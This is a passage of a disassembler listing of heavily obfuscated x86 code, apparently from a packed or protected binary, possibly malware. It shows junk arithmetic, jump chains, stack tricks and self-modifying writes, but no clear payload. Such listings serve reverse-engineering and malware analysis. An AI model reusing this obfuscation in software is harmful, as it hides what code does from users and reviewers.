		jmp	loc_4449DB
; END OF FUNCTION CHUNK	FOR sub_449CBB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4409F4

loc_43902E:				; CODE XREF: sub_4409F4:loc_4421A0j
		jz	loc_43C366
		jmp	loc_4413A5
; END OF FUNCTION CHUNK	FOR sub_4409F4
; ---------------------------------------------------------------------------

locret_439039:				; CODE XREF: y22d6.y.:loc_44CA75j
		retn
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_362. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_43903B:				; CODE XREF: y22d6.y.:00444A78j
		jmp	loc_438464
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444581

loc_439040:				; CODE XREF: sub_444581-922Bj
		jmp	loc_444784
; END OF FUNCTION CHUNK	FOR sub_444581
; ---------------------------------------------------------------------------
		db 9Ch,	3Bh, 0D9h
dword_439048	dd 0			; DATA XREF: y22d6.y.:00437EC1w
					; sub_44271A:loc_447BC1r
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E037

loc_43904C:				; CODE XREF: sub_43E037-3519j
		jmp	loc_44A05C
; END OF FUNCTION CHUNK	FOR sub_43E037

; =============== S U B	R O U T	I N E =======================================



sub_439051	proc near		; CODE XREF: sub_4051BC+41p
					; DATA XREF: r69pu5ti:off_41E004o

var_8		= dword	ptr -8
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 004374E1 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00437DBD SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0043816C SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00438BFF SIZE 00000011 BYTES
; FUNCTION CHUNK AT 004390E6 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004391D3 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 004398CA SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00439A2D SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0043B791 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043C7EA SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043D6D6 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0043D8A5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043DCB5 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043F655 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00440134 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 004402CA SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00440BBF SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00440FD0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00441360 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 004415EB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00442749 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00442F40 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00443669 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 00443C0A SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00444507 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00445080 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0044565D SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0044582D SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00445978 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00446400 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00447B30 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 004488CD SIZE 00000005 BYTES

		jns	loc_443683
		mov	eax, ds:dword_43DF48
		or	eax, eax
		jnz	loc_438BFF
		jmp	loc_43DCB5
sub_439051	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CF9E

loc_43906A:				; CODE XREF: sub_43CF9E+10j
		push	28h
		mov	eax, [ebp-4]
; END OF FUNCTION CHUNK	FOR sub_43CF9E
; START	OF FUNCTION CHUNK FOR sub_44633F

loc_43906F:				; CODE XREF: sub_44633F:loc_43F2EDj
		push	edi
		mov	edi, eax
		xchg	edi, [esp+0]
		call	sub_442206
		jmp	loc_43B21A
; END OF FUNCTION CHUNK	FOR sub_44633F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442C0C

loc_43907F:				; CODE XREF: sub_442C0C-ADBBj
		jb	loc_43B265
		sub	al, 99h
		mov	edx, [ebp+var_4]
		imul	byte ptr [edx]
		push	offset sub_449C1B
		jmp	loc_439BFE
; END OF FUNCTION CHUNK	FOR sub_442C0C

; =============== S U B	R O U T	I N E =======================================



sub_439096	proc near		; CODE XREF: y22d6.y.:0043D55Ap
					; y22d6.y.:0043F0EBj

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043E49B SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0043E89C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00440482 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00442B9B SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0044936B SIZE 00000006 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		ror	eax, 12h
		push	edi
		push	0C8CC7ED9h
		jmp	loc_43E89C
sub_439096	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		test	ebx, 0E57D6D4Bh
		jmp	loc_44A188
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AC0F

loc_4390B3:				; CODE XREF: sub_44AC0F:loc_442B56j
		push	0CCC9BB95h
		pop	edi
		add	edi, 0C9483844h
		sub	edi, 64A08F80h
		and	edi, 0E97CC2FDh
		add	edi, 0DED39419h
		xchg	edi, [esp+4+var_4]
		jmp	loc_43C4BB
; END OF FUNCTION CHUNK	FOR sub_44AC0F
; ---------------------------------------------------------------------------

loc_4390D9:				; CODE XREF: y22d6.y.:0044B4E8j
		jge	loc_43B4E8
		cmp	esi, eax
		jmp	loc_4453A4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439051

loc_4390E6:				; CODE XREF: sub_439051+7B81j
		test	esi, 2
		jmp	loc_444507
; END OF FUNCTION CHUNK	FOR sub_439051
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4428C2

loc_4390F1:				; CODE XREF: sub_4428C2-96F4j
					; y22d6.y.:0044BE54j
		pushf

loc_4390F2:				; CODE XREF: sub_4428C2:loc_4391C6j
		and	eax, 8E9DDAD1h
		sub	eax, 506F509Ch
		add	eax, 4A1D67D8h
		xchg	eax, [esp+4+var_4]
		jmp	loc_43B157
; END OF FUNCTION CHUNK	FOR sub_4428C2

; =============== S U B	R O U T	I N E =======================================



sub_43910C	proc near		; DATA XREF: sub_43704E+296Eo

; FUNCTION CHUNK AT 00438CE0 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0043A712 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00440FAD SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004488FD SIZE 0000000F BYTES

		add	eax, 0EDF56A1Ah
		mov	eax, [eax]
		or	eax, eax
		jnz	loc_44638B
		jmp	loc_440FAD
sub_43910C	endp

; ---------------------------------------------------------------------------

loc_439121:				; CODE XREF: y22d6.y.:00441BB1j
		sbb	edi, ebx
		jmp	loc_44AFE0
; ---------------------------------------------------------------------------

loc_439128:				; CODE XREF: y22d6.y.:0044046Ej
		jnz	loc_446FC0
; START	OF FUNCTION CHUNK FOR sub_440280

loc_43912E:				; CODE XREF: sub_440280+1997j
		jmp	sub_44A793
; END OF FUNCTION CHUNK	FOR sub_440280
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444581

loc_439133:				; CODE XREF: sub_444581-4AE3j
		jmp	loc_43B95A
; END OF FUNCTION CHUNK	FOR sub_444581
; ---------------------------------------------------------------------------
		push	61FA5215h
		adc	ebx, 2EAE6B22h
		test	edi, 2DD52869h
		jmp	loc_43F980
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B17B

loc_43914E:				; CODE XREF: sub_44B17B-A72Cj
		jz	loc_443085

loc_439154:				; CODE XREF: sub_4432B8+6258j
		jmp	loc_43D5C5
; END OF FUNCTION CHUNK	FOR sub_44B17B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44DB3E

loc_439159:				; CODE XREF: sub_44DB3E-F74Dj
		jmp	loc_444C8C
; END OF FUNCTION CHUNK	FOR sub_44DB3E
; ---------------------------------------------------------------------------
		shr	eax, 1Eh
		jmp	loc_443080
; ---------------------------------------------------------------------------

loc_439166:				; CODE XREF: y22d6.y.:loc_44A645j
		cdq

loc_439167:				; CODE XREF: y22d6.y.:0044D342j
		shl	ebp, 7
		jmp	loc_441CD3
; ---------------------------------------------------------------------------

loc_43916F:				; CODE XREF: y22d6.y.:0044DEDAj
		jz	loc_4429D0

; =============== S U B	R O U T	I N E =======================================



sub_439175	proc near		; CODE XREF: sub_4432B8+7E1Ep

; FUNCTION CHUNK AT 0043B63E SIZE 00000012 BYTES

		xchg	edi, [esp+0]
		pop	edi
		add	ebx, 49179AA8h
		jmp	loc_43B63E
sub_439175	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_439184	proc near		; DATA XREF: sub_44D54C+Co
		pop	ebx
sub_439184	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_43F7FF

loc_439185:				; CODE XREF: sub_43F7FF-7157j
					; y22d6.y.:0044757Ej
		xchg	eax, edx
		call	sub_44D293
		retn
; END OF FUNCTION CHUNK	FOR sub_43F7FF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441030

loc_43918C:				; CODE XREF: sub_441030+2DDCj
		jmp	loc_43E8EA
; END OF FUNCTION CHUNK	FOR sub_441030
; ---------------------------------------------------------------------------

loc_439191:				; CODE XREF: y22d6.y.:00437B69j
		jmp	locret_44CCEE
; ---------------------------------------------------------------------------
		dw 0E8D9h
dword_439198	dd 0			; DATA XREF: sub_43F7FF:loc_4386A0r
					; y22d6.y.:loc_447576r
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B3C9

loc_43919C:				; CODE XREF: sub_44B3C9-B540j
		jmp	nullsub_169
; END OF FUNCTION CHUNK	FOR sub_44B3C9
; ---------------------------------------------------------------------------
		db 0A4h, 33h, 75h
dword_4391A4	dd 14AC2241h, 64995241h, 63D891C5h ; DATA XREF:	sub_43FFC2o
					; sub_442FA7+6540o
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FBC3

loc_4391B1:				; CODE XREF: sub_43FBC3+7318j
		jmp	loc_44915A
; END OF FUNCTION CHUNK	FOR sub_43FBC3
; ---------------------------------------------------------------------------
		jnb	loc_445A7B
		call	sub_43FC1E
; START	OF FUNCTION CHUNK FOR sub_4475B3

loc_4391C1:				; CODE XREF: sub_4475B3-6CE9j
		jmp	loc_44BD9B
; END OF FUNCTION CHUNK	FOR sub_4475B3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4428C2

loc_4391C6:				; CODE XREF: sub_4428C2-A5A3j
		jge	loc_4390F2
		xchg	edx, [ebx]
		jmp	loc_4390F1
; END OF FUNCTION CHUNK	FOR sub_4428C2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439051

loc_4391D3:				; CODE XREF: sub_439051+9EDj
		pop	ecx
		xor	ecx, ds:4000E2h
		and	ecx, 93DBB8F3h
		add	ecx, 0FD2BCF15h
		xchg	ecx, [esp-4+arg_0]
		jmp	sub_4480DE
; END OF FUNCTION CHUNK	FOR sub_439051

; =============== S U B	R O U T	I N E =======================================



sub_4391EE	proc near		; DATA XREF: y22d6.y.:00442534o

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0044074A SIZE 00000005 BYTES

		add	esi, 23A3BBE6h
		popf
		xchg	esi, [esp-4+arg_0]
		jmp	loc_44074A
sub_4391EE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B252

loc_4391FD:				; CODE XREF: sub_43B252:loc_448E8Aj
		jnz	loc_44851D
		jmp	loc_4376DC
; END OF FUNCTION CHUNK	FOR sub_43B252
; ---------------------------------------------------------------------------

loc_439208:				; CODE XREF: y22d6.y.:00438421j
		jz	loc_44375B
		rol	ebp, 1Bh
		shr	edi, 0Dh
		jmp	loc_44375B
; ---------------------------------------------------------------------------

loc_439219:				; CODE XREF: y22d6.y.:0044CD1Aj
		mov	ecx, esi

; =============== S U B	R O U T	I N E =======================================



sub_43921B	proc near		; CODE XREF: sub_43CC01+Ap
		xchg	ecx, [esp+0]
		pop	ecx
		mov	byte ptr [eax],	0C3h
		jmp	sub_44928B
sub_43921B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_439227	proc near		; CODE XREF: sub_418C1B+8Cp
					; sub_439227+5j
					; DATA XREF: ...
		call	sub_43923C
		jmp	ds:off_41E0A4
sub_439227	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44193A

loc_439232:				; CODE XREF: sub_44193A-2802j
		jmp	nullsub_104
; END OF FUNCTION CHUNK	FOR sub_44193A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_439237:				; CODE XREF: sub_448EB6-C137j
		jmp	loc_43E4F6
; END OF FUNCTION CHUNK	FOR sub_448EB6

; =============== S U B	R O U T	I N E =======================================



sub_43923C	proc near		; CODE XREF: sub_439227p
					; y22d6.y.:loc_43A407j	...

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00438487 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043A402 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043C607 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0043C798 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0044196C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00441E7A SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00443CD6 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00445F0D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00448AA4 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0044B06A SIZE 00000005 BYTES

		jb	loc_443CD6
		jmp	loc_445F0D
sub_43923C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BEF7

loc_439247:				; CODE XREF: sub_43BEF7:loc_441935j
		jz	loc_44AD08
		jmp	loc_44C736
; END OF FUNCTION CHUNK	FOR sub_43BEF7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E185

loc_439252:				; CODE XREF: sub_43E185:loc_448E13j
		push	esi
		mov	esi, eax
		push	offset sub_445A71
		jmp	nullsub_284
; END OF FUNCTION CHUNK	FOR sub_43E185
; ---------------------------------------------------------------------------

loc_43925F:				; CODE XREF: y22d6.y.:0044744Aj
		cmp	edi, 0A199DB64h
		jmp	loc_440AB6
; ---------------------------------------------------------------------------

loc_43926A:				; CODE XREF: y22d6.y.:00444472j
		jl	loc_44099F
; START	OF FUNCTION CHUNK FOR sub_43C17E

loc_439270:				; CODE XREF: sub_43C17E+D560j
		jmp	loc_4432E4
; END OF FUNCTION CHUNK	FOR sub_43C17E
; ---------------------------------------------------------------------------
		sbb	esi, eax
		xchg	esi, ebp
		jmp	loc_440999
; ---------------------------------------------------------------------------

loc_43927E:				; CODE XREF: y22d6.y.:loc_442455j
		rol	eax, 17h
		add	eax, 61823DBDh
		add	eax, ebp
		add	eax, 33A7AE9Ch
		mov	eax, [eax]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_43B229
		jmp	loc_442D2C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44123E

loc_43929F:				; CODE XREF: sub_44123E:loc_4403FFj
		jz	loc_437708
		jmp	loc_4484C6
; END OF FUNCTION CHUNK	FOR sub_44123E
; ---------------------------------------------------------------------------

loc_4392AA:				; CODE XREF: y22d6.y.:0043AF9Dj
		jnp	loc_43CDBA

; =============== S U B	R O U T	I N E =======================================



sub_4392B0	proc near		; CODE XREF: sub_444183:loc_44528Bp

; FUNCTION CHUNK AT 0043BB0F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043C420 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043C6EA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043E71D SIZE 00000036 BYTES
; FUNCTION CHUNK AT 0043FB15 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0044A2FD SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0044C7A8 SIZE 0000000A BYTES

		xchg	eax, [esp+0]
		pop	eax
		jnb	loc_43E73C
		cmp	ds:dword_441954, 0
		jmp	loc_43C6EA
sub_4392B0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DB23

loc_4392C6:				; CODE XREF: sub_43DB23+10583j
		push	edx
		call	sub_44B674
		mov	eax, 0DD5E106Fh
		call	sub_43CA1A
		push	edi
		jmp	loc_43A559
; END OF FUNCTION CHUNK	FOR sub_43DB23
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441E1E

loc_4392DC:				; CODE XREF: sub_441E1E+11j
		pop	eax
		pop	eax
		push	eax
		mov	eax, edi
		xchg	eax, [esp-4+arg_0]
		mov	edi, eax
		xchg	edi, [esp-4+arg_0]
		jmp	loc_44074F
; END OF FUNCTION CHUNK	FOR sub_441E1E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FAC6

loc_4392EE:				; CODE XREF: sub_43FAC6+BDD1j
		jnz	loc_441EE9
		popf
		jmp	loc_441EE2
; END OF FUNCTION CHUNK	FOR sub_43FAC6
; ---------------------------------------------------------------------------

loc_4392FA:				; DATA XREF: sub_43A1BC-21AEo
		jnz	locret_43FFB0
; START	OF FUNCTION CHUNK FOR sub_43A1BC

loc_439300:				; CODE XREF: sub_43A1BC+4j
		push	offset loc_43FFAB
		jmp	loc_43FC19
; END OF FUNCTION CHUNK	FOR sub_43A1BC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4450FD

loc_43930A:				; CODE XREF: sub_4450FD:loc_44616Bj
		jz	loc_442058
		jmp	loc_44DCFF
; END OF FUNCTION CHUNK	FOR sub_4450FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438399

loc_439315:				; CODE XREF: sub_438399:loc_44D0D1j
		or	eax, 948AF4A2h
		sub	eax, 80AC17A7h
		xor	eax, 7EDECF5Dh
		add	eax, 9CB6C1BDh
		xchg	eax, [esp-4+arg_0]
		jmp	sub_444581
; END OF FUNCTION CHUNK	FOR sub_438399
; ---------------------------------------------------------------------------

loc_439335:				; DATA XREF: sub_43E77C+7o
		mov	eax, [ebp-14h]
		push	eax
		call	sub_439BCA
		push	0FAE559E0h
		jmp	loc_43E2BD
; ---------------------------------------------------------------------------
		shr	esi, 13h
		jmp	sub_43BEF7
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_43. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449641

loc_439351:				; CODE XREF: sub_449641-9AC6j
		jmp	loc_437035
; END OF FUNCTION CHUNK	FOR sub_449641
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E0A9

loc_439356:				; CODE XREF: sub_43E0A9-3805j
		jmp	sub_44C3E5
; END OF FUNCTION CHUNK	FOR sub_43E0A9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C17E

loc_43935B:				; CODE XREF: sub_43C17E-4E7Bj
		jmp	nullsub_98
; END OF FUNCTION CHUNK	FOR sub_43C17E
; ---------------------------------------------------------------------------

loc_439360:				; CODE XREF: y22d6.y.:loc_43B75Bj
		jo	loc_4379FF
		mov	eax, [esp]
		push	edx
		push	ebx
		push	28FBE54Ah
		jmp	loc_440A42
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_162. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_439376:				; CODE XREF: y22d6.y.:loc_43E2B3j
		mov	eax, [esp]
		push	edx
		call	sub_43EF0B
; START	OF FUNCTION CHUNK FOR sub_438B66

loc_43937F:				; CODE XREF: sub_438B66:loc_444B3Cj
		mov	eax, 92A798AFh
		push	offset loc_43712F
		jmp	nullsub_201
; END OF FUNCTION CHUNK	FOR sub_438B66
; ---------------------------------------------------------------------------
		push	667AFFC6h
		pop	eax
		add	eax, 11D2087Fh
		or	eax, 0AC6CE72Fh
		jnz	loc_43E4AD
; START	OF FUNCTION CHUNK FOR sub_44633F

loc_4393A6:				; CODE XREF: sub_44633F-7034j
		jmp	loc_441545
; END OF FUNCTION CHUNK	FOR sub_44633F
; ---------------------------------------------------------------------------
		xor	edi, 60FA153Eh
		and	ecx, ebp
		jmp	loc_448B52
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B0EE

loc_4393B8:				; CODE XREF: sub_43B0EE+11E77j
		sbb	eax, ecx
		jmp	loc_440044
; END OF FUNCTION CHUNK	FOR sub_43B0EE
; ---------------------------------------------------------------------------

loc_4393BF:				; CODE XREF: y22d6.y.:loc_43C672j
		xchg	ecx, [esp]
		call	sub_4397E6
		mov	eax, 0E5254649h
		call	sub_440A88
; START	OF FUNCTION CHUNK FOR sub_44B17B

loc_4393D1:				; CODE XREF: sub_44B17B+1A5Bj
		jmp	loc_449587
; END OF FUNCTION CHUNK	FOR sub_44B17B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443EF1

loc_4393D6:				; CODE XREF: sub_443EF1+329Bj
		jmp	nullsub_173
; END OF FUNCTION CHUNK	FOR sub_443EF1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4491D8

loc_4393DB:				; CODE XREF: sub_4491D8+30AFj
		call	sub_43CA1A
		push	ecx

loc_4393E1:				; CODE XREF: y22d6.y.:00444206j
		mov	ecx, edi
		xchg	ecx, [esp+4+var_4]
		push	6D08A376h
		xchg	edx, [esp+8+var_8]
		jmp	loc_44C486
; END OF FUNCTION CHUNK	FOR sub_4491D8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44633F

loc_4393F3:				; CODE XREF: sub_44633F+3243j
		sub	edx, 0EFD9EE7Fh
		shr	esi, 2
		cmp	ebx, 0E1DE4D60h
		jmp	loc_43F2ED
; END OF FUNCTION CHUNK	FOR sub_44633F

; =============== S U B	R O U T	I N E =======================================



sub_439407	proc near		; CODE XREF: y22d6.y.:00444DCEj
					; sub_43FAC6:loc_44CA61p

; FUNCTION CHUNK AT 00440A7D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00441D03 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00441D6C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044438F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044763D SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00449937 SIZE 0000000B BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_448917
		jmp	loc_441D6C
sub_439407	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447940

loc_43941D:				; CODE XREF: sub_447940:loc_44E2D8j
		jl	loc_43C4D0
; END OF FUNCTION CHUNK	FOR sub_447940
; START	OF FUNCTION CHUNK FOR sub_4411BD

loc_439423:				; CODE XREF: sub_4411BD-72E0j
		jmp	sub_43760A
; END OF FUNCTION CHUNK	FOR sub_4411BD
; ---------------------------------------------------------------------------
		and	ecx, 0FA1A9068h
		jmp	loc_43EA31
; ---------------------------------------------------------------------------
		push	0B3546DFBh
		pop	eax
		rol	eax, 1
		xor	eax, 64E41946h
		push	eax
		push	0C2710072h
		jmp	loc_44DF38
; ---------------------------------------------------------------------------

loc_43944C:				; DATA XREF: sub_4385ED+BCDAo
		add	edx, 0D81F8322h
		xchg	edx, [esp]
		jmp	loc_448787
; ---------------------------------------------------------------------------
		mov	ds:dword_41E0F0, eax
		lea	eax, nullsub_118
		mov	byte ptr [eax],	0C3h
		jmp	loc_43E6D0

; =============== S U B	R O U T	I N E =======================================



sub_43946E	proc near		; CODE XREF: sub_408409+8p
					; y22d6.y.:004450E1j
					; DATA XREF: ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00439FB7 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 004450EC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00447D50 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044AC79 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0044BCE8 SIZE 00000015 BYTES

		push	edx
		push	80CE201Dh
		jmp	loc_44BCE8
sub_43946E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AA69

loc_439479:				; CODE XREF: sub_44AA69:loc_439EE2j
					; y22d6.y.:loc_44C9E0j
					; DATA XREF: ...
		push	0
		call	sub_442592
		pop	edx
		push	esi
		push	eax
		pop	esi
		jmp	loc_44D42C
; END OF FUNCTION CHUNK	FOR sub_44AA69
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C6D7

loc_439489:				; CODE XREF: sub_43C6D7:loc_438DD5j
		jnz	loc_43D1E3
		jmp	loc_4447DE
; END OF FUNCTION CHUNK	FOR sub_43C6D7
; ---------------------------------------------------------------------------
		test	eax, ecx
		jmp	loc_438BE6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C694

loc_43949B:				; CODE XREF: sub_43C694:loc_43DA2Dj
		jz	loc_437CFE
		jmp	loc_4427EB
; END OF FUNCTION CHUNK	FOR sub_43C694
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_366. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_4394A7:				; CODE XREF: y22d6.y.:0043D874j
		jmp	nullsub_331
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447A01

loc_4394AC:				; CODE XREF: sub_447A01:loc_43DD02j
		rol	esi, 1Ah
		xor	esi, 82C40A71h
		and	esi, 6B081892h
		add	esi, 0D83C1E3Dh
		jmp	loc_44C024
; END OF FUNCTION CHUNK	FOR sub_447A01
; ---------------------------------------------------------------------------

loc_4394C6:				; CODE XREF: y22d6.y.:00442D67j
		mov	edi, edx
		sub	ecx, esi
		add	edi, 0C589E11Fh
		shr	esi, 1
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_4394D2:				; CODE XREF: sub_448EB6:loc_442D55j
		rol	edx, 19h
		sub	edx, 65309425h
		xor	edx, 0D5C87A89h
		xchg	edx, [esp-4+arg_0]
		jmp	loc_4412EE
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
		push	offset sub_438077
		jmp	loc_441C88

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4394F3	proc near		; CODE XREF: sub_448E18j

; FUNCTION CHUNK AT 00439575 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0043D4D4 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00440F65 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00443804 SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		call	nullsub_4
		mov	eax, ds:dword_44659C
		call	sub_4480DE
		mov	esp, ebp
		xchg	ebx, [esp+0]
		mov	ebp, ebx
		jmp	loc_443804
sub_4394F3	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B878

loc_439511:				; CODE XREF: sub_43B878:loc_44868Cj
		mov	eax, [ebp-30h]
		jmp	loc_4425DB
; END OF FUNCTION CHUNK	FOR sub_43B878
; ---------------------------------------------------------------------------

loc_439519:				; CODE XREF: y22d6.y.:loc_44D900j
		add	esp, 0FFFFFFCCh
		call	sub_43832B
; START	OF FUNCTION CHUNK FOR sub_4422AA

loc_439521:				; CODE XREF: sub_4422AA:loc_440DB0j
		push	ecx
		push	1362A181h
		pop	ecx
		add	ecx, 3385FE70h
		sub	ecx, 139F7832h
		test	ecx, 80000h

loc_43953A:				; CODE XREF: y22d6.y.:loc_43ED64j
		jmp	loc_43ACC6
; END OF FUNCTION CHUNK	FOR sub_4422AA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E185

loc_43953F:				; CODE XREF: sub_43E185:loc_438EF1j
		mov	ebx, [ebx]
		add	eax, ebx
		pop	ebx
		add	eax, 18h
		push	ebx
		jmp	loc_437188
; END OF FUNCTION CHUNK	FOR sub_43E185
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4416CB

loc_43954D:				; CODE XREF: sub_4416CB:loc_444031j
		pop	esi
		or	esi, 5559DB59h
		cmp	esi, 40936BDh
		jmp	loc_44E29F
; END OF FUNCTION CHUNK	FOR sub_4416CB
; ---------------------------------------------------------------------------
		popf
		push	91B81050h
		jmp	sub_447C9E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439C96

loc_43956A:				; CODE XREF: sub_439C96:loc_4385C6j
		jz	loc_440308
		jmp	loc_440602
; END OF FUNCTION CHUNK	FOR sub_439C96
; ---------------------------------------------------------------------------
